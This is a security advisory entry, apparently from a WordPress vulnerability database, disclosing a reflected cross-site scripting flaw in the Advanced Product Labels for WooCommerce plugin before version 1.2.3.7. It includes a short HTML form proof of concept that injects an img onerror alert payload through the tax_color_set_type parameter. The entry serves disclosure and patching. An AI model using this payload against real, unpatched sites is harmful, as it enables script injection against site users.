WordPress Plugin Vulnerabilities
Advanced Product Labels for WooCommerce < 1.2.3.7 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the tax_color_set_type parameter before outputting it back in the berocket_apl_color_listener AJAX action's response, leading to a Reflected Cross-Site Scripting
Proof of Concept
As any authenticated user:
<html>
<form action="https://example.com/wp-admin/admin-ajax.php?action=berocket_apl_color_listener" method="POST">
<input type="text" value='"><img src onerror=alert(/XSS/)>' name="tax_color_set_type">
<input type="submit" value="Send">
</form>
</html>
Affects Plugins
Fixed in 1.2.3.7 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-15 (about 2 years ago)
Added
2022-02-15 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
WPScan 